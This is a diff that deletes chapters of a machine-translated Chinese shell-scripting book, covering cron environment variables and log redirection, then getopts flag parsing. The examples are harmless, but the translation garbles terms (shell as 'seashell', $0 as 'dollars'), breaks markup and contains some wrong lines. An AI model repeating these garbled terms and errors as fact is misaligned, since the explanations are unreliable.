1 10:36:00 2018 -You have mail in /var/mail/reader -reader@ubuntu:~$ tail -5 /var/mail/reader -/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin -$ -sh -``` - -正如我们在这里看到的,普通(SSH)Shell 和`at`执行的命令之间的值是不同的。这适用于 PS1 和贝壳本身(我们可以用 0 美元找到)。然而,对于`at`,路径与交互式登录会话相同。现在,看看如果我们在 crontab 中这样做会发生什么: - -```sh -reader@ubuntu:~$ crontab -e -crontab: installing new crontab -reader@ubuntu:~$ crontab -l -# m h dom mon dow command -* * * * * echo $PATH; echo $PS1; echo $0 -You have mail in /var/mail/reader -reader@ubuntu:~$ tail -4 /var/mail/reader -/usr/bin:/bin -$ -/bin/sh -reader@ubuntu:~$ crontab -r # So we don't keep doing this every minute! -``` - -开始,PS1 等于`at`看到的。由于 PS1 控制着 Shell 的外观,这仅在交互式会话中才有意思;`at`和`cron`都是非交互式的。如果我们继续到 **PATH** ,我们会看到一个截然不同的故事:在`cron`中运行时,我们得到的是/usr/bin:/bin 而不是/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin!简单地说,这意味着对于/bin/和/usr/bin/之外的所有命令,我们需要使用完全限定的文件名。这甚至体现在$0 的差异上(sh 对/bin/sh)。虽然这并不是绝对必要的(因为/bin/实际上是 PATH 的一部分),但是仍然可以看到与`cron`相关的完全合格的 PATH。 - -现在,我们有两个选项来处理这个问题,如果我们想防止像 sudo: command not found 这样的错误。我们可以确保总是对所有命令使用完全限定的路径(实际上,这肯定会失败几次),也可以确保为 crontab 设置一个路径。第一个选项给了我们更多额外的工作来完成我们将要做的所有事情。第二个选择实际上是确保我们否定这个问题的一个非常简单的方法。我们可以简单地在 crontab 的顶部包含一个`PATH=...`,crontab 执行的所有事情都使用这个路径。尝试以下方法: - -```sh -reader@ubuntu:~$ crontab -e -no crontab for reader - using an empty one -crontab: installing new crontab -reader@ubuntu:~$ crontab -l -PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin -# m h dom mon dow command -* * * * * echo $PATH -reader@ubuntu:~$ -You have new mail in /var/mail/reader -reader@ubuntu:~$ crontab -r -reader@ubuntu:~$ tail -2 /var/mail/reader -/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin -``` - -很简单。如果您想自己验证这一点,您可以保留默认路径,并从/sbin/(例如显示磁盘/分区信息的`blkid`命令)运行一些东西。由于它不在 PATH 上,如果您没有完全合格地运行它,您将会遇到错误/bin/sh: 1: blkid:在您的本地邮件中找不到。选择任何你可以正常运行的命令,并尝试它! - -With this simple addition to a crontab, you can save yourself a lot of time and effort troubleshooting errors. As with all things in scheduling, you often have to wait at least a few minutes for each script attempt to run, making troubleshooting a time-intensive practice. Do yourself a favor and always make sure to include a relevant PATH as the first line of your crontab. - -# 壳 - -从我们看到的**路径**的输出应该很清楚,默认情况下`at`和`cron`都使用/bin/sh。您可能会很幸运,并且有一个/bin/sh 默认为 Bash 的发行版,但这不一定是这样的,尤其是如果您跟随我们的 Ubuntu 18.04 安装的话!在这种情况下,如果我们签出/bin/sh,我们会看到完全不同的东西: - -```sh -reader@ubuntu:~$ ls -l /bin/sh -lrwxrwxrwx 1 root root 4 Apr 26 2018 /bin/sh -> dash -``` - -Dash 是*T3】Debian**A**lmquist**sh**ell*,这是最近的 Debian 系统上的默认系统 Shell(你可能还记得,Ubuntu 属于 Debian 发行家族)。虽然 Dash 是一个很棒的 Shell,有自己的一套优点和缺点,但这本书是为 Bash 写的。因此,对于我们的用例来说,让`cron`默认使用 Dash shell 是不切实际的,因为这不允许我们使用很酷的 Bash 4.x 函数,比如高级重定向、某些扩展等等。幸运的是,我们可以很容易地设置`cron`在运行命令时应该使用的 shell:我们使用 SHELL 环境变量。设置这个真的很简单: - -```sh -reader@ubuntu:~$ crontab -e -crontab: installing new crontab -reader@ubuntu:~$ crontab -l -SHELL=/bin/bash -PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin -# m h dom mon dow command -* * * * * echo $0 -reader@ubuntu:~$ -You have mail in /var/mail/reader -reader@ubuntu:~$ tail -3 /var/mail/reader -/bin/bash -reader@ubuntu:~/scripts/chapter_14$ crontab -r -``` - -只需简单地添加 SHELL 环境变量,我们就能确保不会有令人难以置信的问题,即为什么某些 Bash 功能不起作用。防止这些问题总是一个好主意,而不是希望你能很快发现它们,尤其是如果你还在掌握 shell 脚本的话。 - -# 邮向指示协议指示器 - -现在我们已经确定可以通过检查 PATH 和 SHELL 来使用 crontab 中的环境变量,让我们看看另一个非常重要的变量,MAILTO。正如你可能从名字中猜到的,这个变量控制邮件将被发送到哪里。正如你所记得的,当一个命令有 stdout(几乎都是命令)时,就会发送邮件。这意味着,对于 crontab 执行的每个命令,您可能会收到一封本地电子邮件。你可能会怀疑,这会很快变得令人讨厌。我们可以在 crontab 中放置的所有命令后面加上一个小后缀`&> /dev/null`(记住,`&>`是 Bash 特有的,对于默认的 Dash shell 是不起作用的)。然而,这将意味着我们从来没有任何输出,邮寄或其他方式。除了这个问题,我们还需要将它添加到所有的行中;并不是真正实用可行的解决方案。在接下来的几页中,我们将讨论如何将输出重定向到我们想要的地方。然而,在此之前,我们还需要能够操作默认的电子邮件。 - -一种选择是不安装或卸载`sendmail`。对于你们中的一些人来说,这可能是一个很好的解决方案,但是对于其他人来说,系统上还需要有`sendmail`,所以它不能被移除。然后呢?我们可以像使用**路径**一样使用 MAILTO 变量;我们在 crontab 的开头设置它,邮件将被正确重定向。如果我们清空这个变量,通过给它赋值空字符串`""`,就不会发送邮件。这看起来像这样: - -```sh -reader@ubuntu:~$ crontab -e -no crontab for reader - using an empty one -crontab: installing new crontab -reader@ubuntu:~$ crontab -l -SHELL=/bin/bash -PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin -MAILTO="" -# m h dom mon dow command -* * * * * echo "So, I guess we'll never see this :(" -``` - -到目前为止,我们已经使用了很多`tail`命令,但是它实际上有一个很好的小标志`--follow` ( `-f`),允许我们查看是否有新的行被写入文件。这通常用于*跟踪日志文件*,但在这种情况下,我们可以通过跟踪/var/mail/reader 文件来查看是否收到邮件: - -```sh -reader@ubuntu:~$ tail -f /var/mail/reader -MIME-Version: 1.0 -Content-Type: text/plain; charset=UTF-8 -Content-Transfer-Encoding: 8bit -X-Cron-Env: -X-Cron-Env: -X-Cron-Env: -X-Cron-Env: - -/bin/bash: 1: blkid: not found -``` - -如果一切如我们所料,这是你唯一能看到的。由于 MAILTO 变量被声明为空字符串,`""`,`cron`知道不发送邮件。用 *Ctrl* + *C* 退出`tail -f`(但记住命令),现在你已经防止自己被你的 crontab 垃圾邮件了,请放心! - -# 重定向日志记录 - -虽然垃圾邮件已经被消除,但现在你发现自己根本没有任何输出,这也绝对不是一件好事。幸运的是,我们已经在 [第 12 章](12.html)*中学习了所有关于重定向的知识,在脚本中使用管道和重定向* *。*正如我们可以在命令行上的脚本或*中使用*重定向一样,我们也可以在 crontab 中使用相同的构造。管道和 stdout/stderr 的排序规则相同,因此我们可以链接任何我们想要的命令。然而,在展示这个之前,我们将展示 crontab 的一个更酷的功能:从一个文件实例化一个 crontab!** - -```sh -reader@ubuntu:~/scripts/chapter_14$ vim base-crontab -reader@ubuntu:~/scripts/chapter_14$ cat base-crontab -SHELL=/bin/bash -PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin -MAILTO="" -# m h dom mon dow command -reader@ubuntu:~/scripts/chapter_14$ crontab base-crontab -reader@ubuntu:~/scripts/chapter_14$ crontab -l -PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin -MAILTO="" -# m h dom mon dow command -``` - -首先,我们创建基本的 crontab 文件,它包含我们的 Bash SHELL、PATH(我们稍微修剪了一下)、MAILTO 变量和我们的语法头。接下来,我们使用`crontab base-crontab`命令。简单地说,这用文件中的内容替换了当前的 crontab。这意味着我们现在可以将 crontab 作为文件进行管理;这包括对版本控制系统和其他备份解决方案的支持。更好的是,当使用`crontab `命令时,语法检查是完整的。如果文件不是正确的 crontab 格式,您会在 crontab 文件中看到错误错误,无法安装。如果您希望将当前的 crontab 保存到一个文件中,`crontab -l > filename`命令将为您完成该操作。 - -既然已经排除了这种情况,我们将给出一些由 crontab 运行的命令的重定向示例。我们总是从一个文件中实例化,因此您可以在 GitHub 页面上轻松找到这些资料: - -```sh -reader@ubuntu:~/scripts/chapter_14$ cp base-crontab date-redirection-crontab -reader@ubuntu:~/scripts/chapter_14$ vim date-redirection-crontab -reader@ubuntu:~/scripts/chapter_14$ cat date-redirection-crontab -SHELL=/bin/bash -PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin -MAILTO="" -# m h dom mon dow command -* * * * * date &>> /tmp/date-file -reader@ubuntu:~/scripts/chapter_14$ crontab date-redirection-crontab -reader@ubuntu:~/scripts/chapter_14$ tail -f /tmp/date-file -Sat Dec 1 15:01:01 UTC 2018 -Sat Dec 1 15:02:01 UTC 2018 -Sat Dec 1 15:03:01 UTC 2018 -^C -reader@ubuntu:~/scripts/chapter_14$ crontab -r -``` - -这很简单。只要我们的 SHELL、PATH **、**和 MAILTO 设置正确,我们就避免了很多通常情况下人们通过 crontab 开始处理日程安排时会遇到的问题。 - -我们还没有做的一件事是用 crontab 运行一个脚本。到目前为止,只运行了单个命令。然而,一个脚本会运行得一样好。我们将使用上一章中的脚本,反向器. sh,它将显示我们也可以通过 crontab 向脚本提供参数。此外,它将显示我们刚刚学习的重定向同样适用于脚本输出: - -```sh -reader@ubuntu:~/scripts/chapter_14$ cp base-crontab reverser-crontab -reader@ubuntu:~/scripts/chapter_14$ vim reverser-crontab -reader@ubuntu:~/scripts/chapter_14$ cat reverser-crontab -SHELL=/bin/bash -PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin -MAILTO="" -# m h dom mon dow command -* * * * * /home/reader/scripts/chapter_13/reverser.sh 'crontab' &>> /tmp/reverser.log -reader@ubuntu:~/scripts/chapter_14$ crontab reverser-crontab -reader@ubuntu:~/scripts/chapter_14$ cat /tmp/reverser.log -/bin/bash: /home/reader/scripts/chapter_13/reverser.sh: Permission denied -reader@ubuntu:~/scripts/chapter_14$ crontab -r -``` - -哎哟!经过我们所有的精心准备,我们还是在这里搞砸了。幸运的是,我们创建的输出文件(用作日志文件,并具有。日志扩展,因为它)也有 stderr 重定向(因为我们的 Bash 4.x `&>>`语法),我们看到错误是什么。一个典型的错误,权限被拒绝在这种情况下仅仅意味着我们试图执行一个不可执行的文件: - -```sh -reader@ubuntu:~/scripts/chapter_14$ ls -l /home/reader/scripts/chapter_13/reverser.sh --rw-rw-r-- 1 reader reader 933 Nov 17 15:18 /home/reader/scripts/chapter_13/reverser.sh -``` - -所以,我们需要解决这个问题。我们可以做两件事: - -* 用(例如)`chmod 755 reverser.sh`使文件可执行。 -* 将 crontab 从`reverser.sh`更改为`bash reverser.sh`。 - -在这种情况下,并没有真正的好或坏的解决方案。一方面,将需要执行的文件标记为可执行文件总是一个好主意;这向看到系统的人传达了你的意图。另一方面,如果 crontab 中额外的`bash`命令可以将您从这些类型的问题中解救出来,这有什么坏处呢? - -在我们看来,让文件可执行并省略 crontab 中的`bash`命令会有更多的好处。这使得 crontab 更加干净(并且,根据经验,如果处理不当,crontab 很容易变得一团糟,所以这是一个非常大的优势),并且向查看脚本的其他人显示,由于权限的原因,它应该被执行。让我们将此修复应用于我们的机器: - -```sh -reader@ubuntu:~/scripts/chapter_14$ chmod 755 ../chapter_13/reverser.sh -reader@ubuntu:~/scripts/chapter_14$ crontab reverser-crontab -reader@ubuntu:~/scripts/chapter_14$ tail -f /tmp/reverser.log -/bin/bash: /home/reader/scripts/chapter_13/reverser.sh: Permission denied -Your reversed input is: _batnorc_ -^C -reader@ubuntu:~/scripts/chapter_14$ crontab -r -``` - -好了,好多了。我们在 crontab 中运行的完整命令是`/home/reader/scripts/chapter_13/reverser.sh 'crontab' &>> /tmp/reverser.log`,它包括作为脚本第一个参数的单词 crontab。输出 _batnorc_ 确实是相反的词。似乎我们可以通过 crontab 正确地传递参数!虽然这个例子说明了这一点,但它可能不会被理解,尽管这可能很重要。然而,如果您想象一个普通的脚本通常使用不同的参数多次,那么它也可以在 crontab 中与这些不同的参数一起出现(在多行上,可能有不同的计划)。确实很有用! - -If you ever need to quickly look up what the deal with the crontab was, you would of course check out `man crontab`. However, what we haven't told you yet is that some commands actually have more than one man page! By default, `man crontab` is shorthand for `man crontab`. On that page, you'll see the sentence, "SEE ALSO crontab(5), cron(8)". By supplying this number with `man 5 crontab`, you'll see a different page where many of the concepts of this chapter (syntax, environment variables, and examples) are easily accessible to you. - -# 最终日志记录注意事项 - -您可以考虑让您的脚本处理自己的日志记录。虽然这当然是可能的(虽然有点复杂,不太可读),但我们强烈认为**是调用者负责记录**的责任。如果您发现一个处理自己的日志记录的脚本,您可能会遇到以下一些问题: - -* 多个用户以不同的时间间隔运行同一个脚本,生成一个日志文件 -* 日志文件需要具有强大的用户权限,以确保正确的暴露 -* 临时运行和计划运行都将出现在日志文件中 - -简单地说,将日志记录的责任委托给脚本本身就是自找麻烦。对于特定命令,您可以在终端中获得正确的输出。如果你需要它做其他用途,你可以复制并粘贴到某个地方,或者重定向它。更有可能的是用管道将脚本运行到`tee`,因此输出会显示到您的终端*并同时保存到一个文件中。对于从`cron`开始的计划运行,您需要考虑一下重定向:当您创建计划时。在这种情况下,尤其是如果您使用`&>>`的 Bash 4.x 构造,您将总是看到所有输出(stdout 和 stderr)被附加到您指定的文件。在这种情况下,几乎没有遗漏任何输出的风险。请记住:`tee`和重定向是你的朋友,如果使用得当,它们是任何脚本调度的一个很好的补充!* - -If you want your cron logging mechanism to be *really fancy*, you can set up `sendmail` (or other software such as `postfix`) as an actual Mail Transfer Agent (very out of the scope of this book, but check the *Further reading* section!). If that is correctly configured, you can set the MAILTO variable in the crontab to an actual email address (perhaps `yourname@company.com`), and receive the reports from scheduled jobs in your normal email box. This is best used with important scripts that do not run too often; otherwise, you will just end up with an annoying amount of email. - -# 冗长的注释 - -重要的是要认识到,正如它直接在命令行上一样,只记录输出(stdout/stderr)。默认情况下,大多数成功运行的命令没有任何输出;例如`cp`、`rm`、`touch`等等。如果您想在脚本中记录信息,您有责任在您认为合适的地方添加输出。最简单的方法就是到处使用`echo`。让日志文件给用户信心最简单的方法是让脚本中的最后一个命令成为`echo "Everything went well, exiting script."`。只要您在脚本中正确处理所有潜在的错误,您就可以放心地说,一旦它到达最终命令,执行就成功了,并且您可以通知用户这一点。如果不这样做,日志文件可能会保持为空,这有点可怕;是因为一切都成功了*还是因为剧本连*都没运行就空了?这不是你想冒险的事情,尤其是当一个简单的`echo`就能帮你省去所有麻烦的时候。 - -# 摘要 - -本章首先展示了新的`at`命令,并解释了如何使用`at`来调度脚本。我们描述了`at`的时间戳语法,以及它如何包含所有计划作业的队列。在我们继续更强大的`cron`调度器之前,我们解释了`at`如何主要用于临时调度的命令和脚本。 - -`cron`守护程序负责系统上的大多数计划任务,是一个非常强大和灵活的调度程序,最常通过所谓的 crontab 使用。这是一个用户绑定文件,其中包含`cron`何时以及如何运行命令和脚本的说明。我们展示了 crontab 中使用的时间戳语法。 - -这一章的第二部分涉及记录我们计划的命令和脚本。当命令在命令行上以交互方式运行时,不需要专门的日志记录,但是计划的命令不是交互的,因此需要额外的机制。调度命令的输出可以通过`sendmail`过程邮寄到本地文件,或者使用我们前面概述的重定向可能性重定向到日志文件。 - -我们用一些关于日志记录的最后考虑来结束这一章:如何总是由调用者负责安排日志记录,以及如何由脚本作者负责确保脚本足够详细,可以非交互地使用。 - -本章介绍了以下命令:`at`、`wall`、`atq`、`atrm`、`sendmail`、`crontab`和`alias`。 - -# 问题 - -1. 什么是排班? -2. 我们所说的临时安排是什么意思? -3. `at`正常运行的命令输出去哪里了? -4. `cron`守护进程的调度通常是如何实现的? -5. 哪些命令允许您编辑个人 crontab? -6. crontab 时间戳语法中有哪五个字段? -7. crontab 最重要的三个环境变量是什么? -8. 如何检查我们用`cron`安排的脚本或命令的输出? -9. 如果我们的计划脚本没有足够的输出来有效地处理日志文件,我们应该如何补救? - -# 进一步阅读 - -如果您想深入了解本章的主题,以下资源可能会很有意思: - -* **Profile and Bashrc**:[https://bencane . com/2013/09/16/了解-多一点-etcprofile-and-etcbashrc/](https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/) -* **用后缀**设置邮件传输代理:[https://www.hiroom2.com/2018/05/06/ubuntu-1804-postfix-en/](https://www.hiroom2.com/2018/05/06/ubuntu-1804-postfix-en/)T4* \ No newline at end of file diff --git a/docs/learn-linux-shell-script/15.md b/docs/learn-linux-shell-script/15.md deleted file mode 100644 index 1af388a9..00000000 --- a/docs/learn-linux-shell-script/15.md +++ /dev/null @@ -1,670 +0,0 @@ -# 十五、使用`getopts`解析 Bash 脚本参数 - -在本章中,我们将讨论向脚本传递参数的不同方式,特别关注标志。我们将从重述位置参数开始,然后继续作为标志传递的参数。在此之后,我们将讨论如何使用`getopts` shell 内置在您自己的脚本中使用标志。 - -本章将介绍以下命令:`getopts`和`shift`。 - -本章将涵盖以下主题: - -* 位置参数与标志 -* `getopts`Shell 内置 - -# 技术要求 - -本章的所有脚本都可以在 GitHub 上找到,链接如下:[https://GitHub . com/PacktPublishing/Learn-Linux-Shell-Scripting-Bash-4.4 基础/tree/master/Chapter15](https://github.com/PacktPublishing/Learn-Linux-Shell-Scripting-Fundamentals-of-Bash-4.4/tree/master/Chapter15) 。跟随你的 Ubuntu Linux 虚拟机上的例子——不需要其他资源。对于 single-flag.sh 脚本,只有最终版本可以在网上找到。在您的系统上执行之前,请确保验证标题中的脚本版本。 - -# 位置参数与标志 - -我们将在本章开始时简要回顾一下位置论点。您可能还记得第 8 章*变量和用户输入*,我们能够使用位置参数向脚本传递参数。 - -简单地说,使用以下语法: - -```sh -bash script.sh argument1 argument2 ... -``` - -在前面的(虚拟的)`script.sh`中,我们可以通过查看参数的位置来获取用户提供的值:`$1`是第一个参数,`$2`是第二个参数,依此类推。请记住`$0`是一个特殊的论点,它与剧本的名字有关:在这种情况下,`script.sh`。 - -这种方法相对简单,但也容易出错。当您编写这个脚本时,您需要广泛检查用户提供的输入;他们是否给出了足够的论据,但不是太多?或者,也许有些参数是可选的,所以一些组合是可能的?所有这些事情都需要考虑,如果可能的话,都需要处理。 - -再说剧本作者(你!),还有脚本调用者的负担。在他们能够成功调用您的脚本之前,他们需要知道如何传递所需的信息。对于我们的脚本,我们应用了两种做法,旨在最大限度地减少用户的负担: - -* 我们的脚本头包含一个`Usage:`字段 -* 当我们的脚本被错误调用时,我们会打印一条错误消息,其中带有与标题相似/相等的*用法提示* - -然而,这种方法容易出错,并且不总是非常用户友好的。不过还有另一种选择:*选项*,更常见的是*旗帜*。 - -# 使用命令行上的标志 - -也许您还没有意识到这一点,但是您在命令行上使用的大多数命令都使用位置参数和标志的组合。Linux 中最基本的命令`cd`使用一个位置参数:您想要移动到的目录。 - -它实际上有两个标志,你也可以使用:`-L`和`-P`。这些旗帜的目的是小众的,不值得在这里解释。几乎所有命令都互补地使用标志和位置参数。 - -那么,我们什么时候用哪个?根据经验,旗帜通常用于*修饰符*,而位置参数用于*目标*。目标很简单这就是:你想用命令操纵的东西。在`ls`的情况下,这意味着位置参数是应该由命令列出(操作)的文件或目录。 - -对于`ls -l /tmp/`命令,`/tmp/`为目标,`-l`为用于修改`ls`行为的标志。默认情况下,`ls`列出所有没有额外信息的文件,如所有权、权限、大小等。如果我们想修改`ls`的行为,我们可以添加一个或多个标志:`-l`告诉`ls`使用长列表格式,该格式在自己的行上打印每个文件,并打印关于该文件的额外信息。 - -注意在`ls /tmp/`和`ls -l /tmp/`之间,目标不变,但是输出变,因为我们*用旗帜修改了*! - -有些旗帜更为特殊:它们需要自己的位置参数!因此,我们不仅可以使用标志来修改命令,而且标志本身也有多个选项来修改命令的行为。 - -一个很好的例子是`find`命令:默认情况下,它查找一个目录中的所有文件,如下所示: - -```sh -reader@ubuntu:~/scripts/chapter_14$ find -. -./reverser-crontab -./wall.txt -./base-crontab -./date-redirection-crontab -``` - -或者,我们可以使用带有位置参数的`find`不在当前工作目录中搜索,而是在其他地方搜索,如下所示: - -```sh -reader@ubuntu:~/scripts/chapter_14$ find ../chapter_10 -../chapter_10 -../chapter_10/error.txt -../chapter_10/grep-file.txt -../chapter_10/search.txt -../chapter_10/character-class.txt -../chapter_10/grep-then-else.sh -``` - -现在,`find`也允许我们使用`-type`标志只打印某一类型的文件。但是仅使用`-type`标志,我们还没有指定要打印的文件类型。通过在标志后直接指定文件类型(这里排序是*关键的*,我们告诉标志要寻找什么。它看起来如下所示: - -```sh -reader@ubuntu:/$ find /boot/ -type d -/boot/ -/boot/grub -/boot/grub/i386-pc -/boot/grub/fonts -/boot/grub/locale -``` - -这里我们在`/boot/`目录中寻找一种类型的`d`(目录)。对`-type`旗帜的其他争论包括`f`(文件)、`l`(符号链接)和`b`(阻挡装置)。 - -一如既往,订购很重要,如果您没有正确订购,就会发生类似的情况: - -```sh -reader@ubuntu:/$ find -type d /boot/ -find: paths must precede expression: '/boot/' -find: possible unquoted pattern after predicate '-type'? -``` - -对我们来说不幸的是,并非所有的命令都是平等的。有些人对用户更宽容,并尽最大努力理解作为输入给出的内容。其他人要严格得多:他们将运行任何通过的东西,即使它没有任何功能意义。请务必确认您是否正确使用了该命令及其修饰符! - -The preceding examples use flags differently to how we'll learn to use them with `getopts`. These examples should only serve to illustrate the concepts of script arguments, flags, and flags-with-arguments. These implementations are written without the use of `getopts` and thus do not map precisely to what we'll be doing later. - -# getopts Shell 内置 - -现在真正的乐趣开始了!在本章的第二部分,我们将解释内置的`getopts`Shell。`getopts`命令用于脚本的开头,以获取您以旗帜形式提供的*****opt**ion**s*******。它有一个非常具体的语法,一开始看起来会很混乱,但是,一旦我们全面了解了它,它应该不会太复杂,让您难以理解。** - - **不过,在我们深入讨论之前,我们需要讨论两件事: - -* `getopts`和`getopt`的区别 -* 短期与长期选择 - -如前所述,`getopts`是一个*Shell 内置*。它在普通的伯恩 Shell(`sh`)和 Bash 中都有。它起源于 1986 年左右,作为 1980 年前创建的`getopt`的替代品。 - -与`getopts`不同的是,`getopt`并没有内置在 Shell 中:它是一个独立的程序,已经被移植到许多不同的 Unix 和类似 Unix 的发行版中。`getopts`和`getopt`的主要区别如下: - -* `getopt`不能很好地处理空标志参数;`getopts`确实 -* `getopts`包含在伯恩 Shell 和 Bash 中;`getopt`需要单独安装 -* `getopt`允许解析长选项(`--help`而不是`-h`);`getopts`不 -* `getopts`有更简单的语法;`getopt`比较复杂(主要是因为是外部程序,不是内建) - -总的来说,共识似乎是大多数情况下,使用`getopts`更可取(除非你真的想要长选项)。由于`getopts`是一个内置的 Bash,我们也将使用它,特别是因为我们不需要长选项。 - -您在终端上使用的大多数命令都有短选项(在终端上交互工作时几乎总是使用它来节省时间)和长选项(它更具描述性,更适合创建可读性更好的脚本)。根据我们的经验,短选项更普遍,如果使用正确,也更容易识别。 - -下面的列表显示了最常见的短标志,它们对大多数命令都是一样的: - -* `-h`:打印命令的帮助/用法 -* `-v`:使命令冗长 -* `-q`:使命令安静 -* `-f `:将文件传递给命令 -* `-r`:递归执行操作 -* `-d`:在调试模式下运行命令 - -Do not assume all commands parse the short flags, as specified previously. While this is true for most commands, don't all follow these trends. What is printed here has been found from personal experience and should always be verified by you before running a command that is new to you. That being said, running a command without arguments/flags or with a `-h` will, at least 90% of the time, print the correct usage for you to admire. - -尽管为我们的`getopts`脚本提供长选项会很好,但是即使是长选项也不能代替编写可读的脚本和为使用您的脚本的用户创建良好的提示。我们觉得这比拥有长选项重要得多!除此之外,`getopts`的语法比类似的`getopt`干净多了,坚持 KISS 原则仍然是我们的目标之一。 - -# getopts 语法 - -我们不再花更多的时间在这一章看不到实际的代码,而是直接跳进去展示一个非常简单的`getopts`脚本的例子。当然,我们会一步一步地给你讲解,让你有机会了解全部。 - -我们正在创建的脚本只做一些简单的事情:如果它找到了`-v`标志,它会打印一条*冗长的*消息,告诉我们它找到了标志。如果它找不到任何标志,则不打印任何内容。如果它发现任何其他标志,它会为用户打印一个错误。很简单,对吧? - -让我们来看看: - -```sh -reader@ubuntu:~/scripts/chapter_15$ vim single-flag.sh -reader@ubuntu:~/scripts/chapter_15$ cat !$ -cat single-flag.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-12-08 -# Description: Shows the basic getopts syntax. -# Usage: ./single-flag.sh [flags] -##################################### - -# Parse the flags in a while loop. -# After the last flag, getopts returns false which ends the loop. -optstring=":v" -while getopts ${optstring} options; do - case ${options} in - v) - echo "-v was found!" - ;; - ?) - echo "Invalid option: -${OPTARG}." - exit 1 - ;; - esac -done -``` - -如果我们运行这个脚本,我们将看到以下情况: - -```sh -reader@ubuntu:~/scripts/chapter_15$ bash single-flag.sh # No flag, do nothing. -reader@ubuntu:~/scripts/chapter_15$ bash single-flag.sh -p -Invalid option: -p. # Wrong flag, print an error. -reader@ubuntu:~/scripts/chapter_15$ bash single-flag.sh -v --v was found! # Correct flag, print the message. -``` - -所以,我们的剧本至少能达到预期效果!但是为什么会这样呢?让我们来看看。我们将跳过标题,因为现在应该很清楚了。我们将从`while`行开始,它包含`getopts`命令和`optstring`: - -```sh -# Parse the flags in a while loop. -# After the last flag, getopts returns false which ends the loop. -optstring=":v" -while getopts ${optstring} options; do -``` - -`optstring`,可能是 ***opt** 离子**字符串*** 的缩写,告诉`getopts`应该预期哪些选项。在这种情况下,我们期待的只有`v`。但是,我们以冒号(`:`)开始`optstring`,这是`optstring`的特殊字符,将`getopts`设置为*无声错误报告*模式。 - -因为我们更喜欢自己处理错误情况,所以我们总是以冒号开始我们的`optstring`。然而,请随意查看当您移除结肠时会发生什么。 - -之后,`getopts`的语法非常简单,如下所示: - -```sh -getopts optstring name [arg] -``` - -我们可以看到这个命令,后跟`optstring`(为了提高可读性,我们将其抽象为一个单独的变量),以存储解析结果的变量的名称结束。 - -`getopts`的最后一个可选方面允许我们传递自己的一组参数,而不是默认传递给脚本的所有内容(0 到 9 美元)。我们在练习中不需要/使用这个,但是知道这个肯定很好。像往常一样,因为这是一个内置的 Shell,所以您可以通过执行`help getopts`在上面找到信息。 - -我们将这个命令放在一个`while`循环中,这样它就遍历了我们传递给脚本的所有参数。如果没有更多的参数需要`getopts`解析,它将返回除`0`之外的退出状态,这将导致`while`循环退出。 - -然而,当我们处于循环中时,我们将触及`case`语句。如您所知,`case`语句基本上是更长的`if-elif-elif-elif-else`语句的更好语法。在我们的示例脚本中,如下所示: - -```sh - case ${options} in - v) - echo "-v was found!" - ;; - ?) - echo "Invalid option: -${OPTARG}." - exit 1 - ;; - esac -done -``` - -注意`case`语句是如何以单词`esac`结束的(大小写相反)。对于我们定义的所有标志(目前只有`-v`,我们有一个代码块将只为该标志执行。 - -当我们查看`${options}`变量时,我们发现的另一个东西是`?`通配符(因为我们在`getopts`命令中为*名称*指定了该变量)。我们把它放在案例陈述的末尾,作为捕捉错误的一种手段。如果它遇到了`?)`代码块,我们已经向`getopts`展示了一个它不理解的标志。在这种情况下,我们打印一个错误并退出脚本。 - -最后一行的`done`结束了`while`循环,并表示我们所有的标志都应该被处理了。 - -It might seem a bit unnecessary to have both an `optstring` and a case for all possible options. For now, this is indeed the case, but a bit further on in this chapter we'll show you how the `optstring` is used to specify things beyond just the letter; at that point, it should be clear why the `optstring` is here. For now, don't worry about it too much and just enter the flags in both locations. - -# 多个标志 - -对我们来说幸运的是,我们不必满足于一面旗帜:我们可以定义很多(直到我们用完字母表!). - -我们将创建一个新的脚本,向读者打印一条消息。如果没有指定标志,我们将打印一条默认消息。如果我们遇到标志`-b`或标志`-g`,我们将根据标志打印不同的消息。我们还将包括对`-h`标志的说明,当遇到时,它将打印一条帮助消息。 - -具有这些要求的脚本可能如下所示: - -```sh -reader@ubuntu:~/scripts/chapter_15$ vim hey.sh -reader@ubuntu:~/scripts/chapter_15$ cat hey.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-12-14 -# Description: Getopts with multiple flags. -# Usage: ./hey.sh [flags] -##################################### - -# Abstract the help as a function, so it does not clutter our script. -print_help() { - echo "Usage: $0 [flags]" - echo "Flags:" - echo "-h for help." - echo "-b for male greeting." - echo "-g for female greeting." -} - -# Parse the flags. -optstring=":bgh" -while getopts ${optstring} options; do - case ${options} in - b) - gender="boy" - ;; - g) - gender="girl" - ;; - h) - print_help - exit 0 # Stop script, but consider it a success. - ;; - ?) - echo "Invalid option: -${OPTARG}." - exit 1 - ;; - esac -done - -# If $gender is n (nonzero), print specific greeting. -# Otherwise, print a neutral greeting. -if [[ -n ${gender} ]]; then - echo "Hey ${gender}!" -else - echo "Hey there!" -fi -``` - -在这一点上,这个脚本应该是可读的,尤其是包含注释。从顶部开始,我们从标题开始,然后是`print_help()`功能,当遇到`-h`标志时,它会打印我们的帮助消息(正如我们在后面看到的几行)。 - -接下来是`optstring`,它仍然以冒号开头,因此`getopts`的详细错误被关闭(我们将自己处理这个问题)。在`optstring`中,我们要处理的三个旗帜,即`-b`、`-g`和`-h`,都被定义为一个单独的字符串:`bgh`。 - 